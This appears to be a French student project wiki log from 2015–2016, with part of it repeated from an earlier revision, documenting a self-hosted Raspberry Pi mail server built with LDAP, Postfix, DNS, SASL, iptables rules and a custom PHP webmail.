ldapwhoami -vvv -h localhost -D "cn=username,dc=mail,dc=domain,dc=tld" -x -W
Si la commande renvoie <code>Result: Success (0)</code> alors l'identification a fonctionné.

La commande <code>ldapsearch</code> permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -b "dc=mail,dc=domain,dc=tld" "(&(objectClass=CourierMailAccount))"
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.

===Semaine 5 (19/10/2015)===
==== DNS et SSL ====
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]

nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.

De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.

La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :
@ IN MX 10 mail.intimail.pw.
mail IN A 193.48.57.171

De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :
171 IN PTR mail.intimail.pw.

A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.

==== LDAP ====
Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :

[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]

Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.

Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean :
dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw
uid: jvaljean
mail: jvaljean@intimail.pw
sn: Valjean
givenName: Jean
displayName: Jean Valjean
mailbox: intimail.pw/jvaljean/
homeDirectory: /home/vmail/
objectClass: top
objectClass: inetOrgPerson
objectClass: CourierMailAccount
userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg

Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).

==== Web ====

Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire.
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].

Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :
* 2,10s sur une connexion mobile 3G moyenne (4MB/s)
* 1,90s sur une connexion 4G moyenne (15MB/s)
* 2,80s sur une connexion DSL moyenne (2MB/s)
* 1,90s sur une connexion Wifi (30MB/s)
* 1,70s sur une connexion THD (100MB/s)
Résultats qui semble apporter bon compris poids/qualité de l'interface.

Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache
Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(

===Semaine 6 (26/10/2015)===
==== Firewall ====
Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.

Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :
cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed # Pour lister les messages de connexion échouées
sed -ne 's/.*\[$[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}$\].*/\1/p' # Pour n'afficher que les ip
*file* | sort | uniq # Pour classer et éliminer les doublons

On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.

==== Postfix ====
Nous avons installé l'agent de transfert de mail Postfix (<code>apt-get install postfix postfix-ldap</code>) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :
telnet ex 25
Trying xxx.xxx.xxx.xxx...
Connected to intimail.pw.
Escape character is '^]'.
220 mail.intimail.pw
ehlo intimail.pw
250-mail.intimail.pw
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN
MAIL FROM:toto(arobase)titi.com
250 2.1.0 Ok
RCPT TO:jvaljean(arobase)intimail.pw
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
Subject: Premier Test
Here is my test
.
250 2.0.0 Ok: queued as 0EDFC21428
quit
221 2.0.0 Bye
Connection closed by foreign host.

Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions

==== Cyrus SASL ====

Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail.

==== LDAP ====

Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.

==== Web ====

Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une "vue globale", réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet "Manage" d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.

Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.

Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).
Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.
Notre architecture s'oriente donc sur les schémas suivants :

[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]
[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]

==== Scripting ====

Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer <code>libswitch-perl</code> pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.

===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===

[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]

Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier.
* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur.
* Un dossier mail, dans lequel sont stockés les mails envoyés
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.

===Semaine 8 (09/11/2015) - Postfix et filtrage===
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier <code>master.cf</code>. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :

# ==========================================================================
# service type private unpriv chroot wakeup maxproc command + args
# (yes) (yes) (yes) (never) (100)
# ==========================================================================
smtp inet n - - - - smtpd
-o content_filter=filter
filter unix - n n - 5 pipe
flags=Rq user=vmail null_sender=
argv=/path/to/script $queue_id $size $sender $recipient

Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :
[
{
"from": "michel.drucker@gmail.com",
"subject": "Vivement dimanche",
"timestamp": "2015-11-8 19:59:53",
"unixtimestamp": "1447012793",
"queueid": "48FE03FA87",
"filepath": "???",
"size": "1676",
"status": "0",
"pj": "0",
"id": "0",
"to": "jbond@intimail.pw"
}
]
Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).

Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis <code>user=vmail</code>. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.

Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.

===Semaine 9 (16/11/2015)===
===Semaine 10 (23/11/2015)===
===Semaine 11 (30/11/2015)===

Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.

D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises <a href> pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.

La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :
$('#table').on('click-row.bs.table', function (e, row, $element) {
console.log(row, $element);
alert("L'utilisateur d'intimail a cliqué sur "+row);
});

On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.

===Semaine 12 (07/12/2015)===
==== Parseur pour les mails entrants ====
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.

La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :
Un mail arrive
Le hook de postfix est exécuté
Le mail est envoyé via Sendmail --------------------------------------------------------------> Le mail est en attente de délivrement
Le script de parsing est lancé |
Le script vérifie dans les dossiers la présence du nouveau mail |
et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités |
| v
| Le mail est délivré et existe dans le système de fichier
v |
Le script a trouvé le fichier et le traite <----------------------------------------------------
Fin

Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle <code>$unixtimestamp.$queueid</code>. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ <code>filepath</code>.

====Interface Web====
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton "Write an email", présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?

[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]

===Semaine 13 (14/12/2015)===

* Écriture du rapport intermédiaire
* Réalisation du support de soutenance

===Semaine 14 (04/01/2016)===

* Écriture d'un guide d'une bonne dizaine de pages détaillant l'installation du système intimail point par point
* Début de réécriture des scripts shell en perl pour des raisons d'optimisation

===Semaine 15 (11/01/2016)===

Poursuite de la longue réécriture du code shell en perl.

===Semaine 16 (18/01/2016)===

Côté web : Début du travail sur les pièces jointes, manque par contre l'affichage des PJ quand on ouvre un mail depuis l'interface. Manque la mise à 1 de l'attribut "pj" quand une pièce jointe est présente.

===Semaine 17 (25/01/2016)===

Côté web :
* Poursuite du travail sur les pièces jointes : envoi OK, types supportés GIF, JPG, PNG, PDF, ZIP, vérification par extension MIME, taille max d'une PJ variabilisé.
* Travail sur l'en-tête des mails envoyés : résolu un bug qui disait qu'une pièce jointe était présente même quand on envoyait que du texte (type text/html quand pas de PJ au lieu de type data/multipart tout le temps dans le header mail)
* Gros travail sur les fichiers d'en-tête JSON : fonctions PHP de suppression d'un mail (fichier sur le disque et suppression dans l'en-tête JSON), fonctions de mise à jour du quota à l'envoi (réception fonctionnel aussi), fonctions d'ajout d'un mail (fichier sur le disque et en-tête JSON)
* Interface : gestion des différentes boites : les mails écrits se retrouvent dans "Envoyés", les mails reçus dans "Boite de réception", manque que le flag comme spam pour les mettre dans la boite à spam, mais la boite est déjà là en tout cas

===Semaine 18 (01/02/2016)===

Côté web :
* Identification d'un administrateur ou simple utilisateur
* Début de création de la page de gestion des comptes : une page administrateur permettant de régler quelques variables (par ex: taille max des PJ, nom de domaine, création d'un compte...), et de sélectionner un utilisateur existant redirigeant vers...
* ... une page de gestion d'un compte particulier sélectionné au préalable, permettant de changer l'UID, le nom de la personne, le quota, le mot de passe, ou de supprimer le compte
* Configuration générale du webmail (variables nom de domaine, identification de l'administrateur LDAP, port LDAP...) via un fichier config.php à part contenant ces valeurs.
* Création d'une fonction permettant de modifier un paramètre de la configuration par lecture/modification/réécriture du fichier de config.
* Après une journée de prise de tête : configuration via un conteneur JSON, plus simple à manipuler pour en modifier les paramètres depuis l'interface. Le fichier se nomme désormais config.inc. Un soin est apporté à l'interdiction d'accès aux fichiers ".inc" : dans la barre d'adresse en accès au fichier le client reçoit une erreur 403, cela évite que n'importe qui puisse voir le contenu du fichier et les précieux identifiants du serveur LDAP... tout en laissant à l'utilisateur web www-data la lecture du fichier pour son usage.

===Semaine 19 (08/02/2016)===
Côté Web :
* Implémentation du back-end des fonctions de gestion d'un compte : changement UID, mot de passe, nom+prénom, quota, tout fonctionne.
* Suppression d'un compte : fonctionnelle
* Création d'un compte : fonctionnelle
* Création d'une fonction permettant d'ajouter un utilisateur à une liste/un groupe donné(e) : OK
* Création d'une fonction permettant de supprimer un utilisateur d'une liste/un groupe donné(e) : OK
* Création d'une fonction permettant de lister les groupes existants : OK
* Création d'une fonction permettant de créer/supprimer un groupe : OK

Au 10/02, on peut créer des comptes, les dossiers sont crées sur le système sans problème à réception d'un mail de bienvenue, on peut envoyer et recevoir des messages, donner les droits d'administrations, gérer la configuration du webmail depuis l'interface, gérer les utilisateurs et leurs attributs depuis l'interface, tout semble prêt relativement au cahier des charges initial. Nous allons migrer notre installation sur une autre IP et autre domaine.

===Semaine 20 (15/02/2016)===
===Semaine 21 (22/02/2016)===

* Tournage de la vidéo du projet avec Laurent Engels du service Communication
* Fin de la rédaction du rapport final de PFE
* Rédaction du diaporama de présentation orale du PFE

== Fichiers Rendus ==
Interface web : [https://intimail.pw intiMail.pw]

Rapport de Mi-Projet : [http://projets-imasc.plil.net/mediawiki/images/2/23/P9_LIBAERT_TENEUR_DEC15.pdf ICI]

Rapport de Projet : [http:// Soon™]

Vidéo de Projet : [http:// Soon™] (RDV le 22/02 10h avec Laurent Engels)

P9 Système d'hébergement domestique

2016-02-10T12:49:54Z

Tteneur : /* Semaine 21 (22/02/2016) */

==Cahier des charges==
===Présentation générale du projet===
====Contexte====

Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.

Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation.

Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).

====Objectif du projet====

L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.

====Description du projet====
====Choix techniques : matériel et logiciel====
Matériel obtenu à ce jour :
* 1 Raspberry Pi 2 [obtenue le 07/10/2015]
* 1 Carte µSD 8 GB [obtenue le 07/10/2015]
* 1 Cable USB/µUSB [obtenu le 07/10/2015]
* 1 Câble RJ45 [obtenu le 07/10/2015]

==Suivi de l'avancement du Projet==
===Semaine 1 (21/09/2015)===

Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.

Nous allons étudier et approfondir les points suivants :

* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX
* Installer un serveur de messagerie SMTP, et IMAP/POP
* Investiguer du côté de POSTFIX
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)

Ce qui doit pouvoir être fait :
* Distinction administrateur / utilisateur
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)
* Gestion des quotas/espace disque réservé par ex
* Choix du quota (par qui ? options ?)
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?

Prévision du Matériel :
* Raspberry Pi 2
* Alimentation RPi
* Carte SD (8Go)

Le module énergétique sera équipé des éléments suivants :
* 1 MPPT
* Convertisseur Numérique Analogique : MAX5250
* Potentiomètre : MCP4261
* Relai : R561D.56 NTE
* Résistances : Deux de 100Ω et deux de 10kΩ
* une LED
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4
* Circuit d'alimentation autonome : cellule photovoltaique
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)

===Semaine 2 (28/09/2015)===

Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.

☐ Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)
*Postfix pour SMTP
*Dovecot, Courier ou Cyrus pour IMAP/POP3
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)
*LMTP

☐ Gestion particulière des gros mails et notamment de leurs pièces jointes
*Bigfile pour un stockage en ligne
*Décodage base 64 des pièces jointes ? (difficulté++)

☐ Gestion des utilisateurs
*Plusieurs comptes, en utilisant LDAP
*La possibilité de s'identifier en tant qu'administrateur

☐ Listes de diffusion

☐ Comptes mail temporaires (10 minutes mail like)

☐ Antivirus & Spam
*ClamAV ou SpamAssassin ou autres : lourd.
*iptables dans un premier temps.
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, "boites intelligentes" de spams.

☐ Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)
*Record A
*Record MX

☐ Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)

Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.

===Semaine 3 (05/10/2015)===
Nous avons précisé les éléments constituants l'interface web :
* Gestion des comptes (création, modification, suppression d'utilisateurs...)
* Gestion des listes de diffusions
* Gestion des quotas
* Affichage du courrier
* Gestion de l'antivirus

===Semaine 4 (12/10/2015)===
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].

Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.

Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.

Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :
ldapsearch -c -h localhost -b dc=domain,dc=tld -x
Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :
ldapsearch -c -h localhost -b dc=domain,dc=tld -D "cn=admin, dc=domain,dc=tld" -W

On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier <code>.ldif</code> décrivant cette structure et l'avons ajoutée avec la commande :
ldapadd -D "cn=admin,dc=domain,dc=tld" -W -h localhost -f ldif/mail_tree.ldif
On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -h localhost -b "dc=domain,dc=tld"

Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier <code>.ldif</code> et de l'ajouter de la même manière que précedemment avec <code>ldapadd</code>. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl <code>add_user.pl</code> simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.
On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle <code>ldapsearch</code> et même tester l'identification avec :
ldapwhoami -vvv -h localhost -D "cn=username,dc=mail,dc=domain,dc=tld" -x -W
Si la commande renvoie <code>Result: Success (0)</code> alors l'identification a fonctionné.

La commande <code>ldapsearch</code> permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :
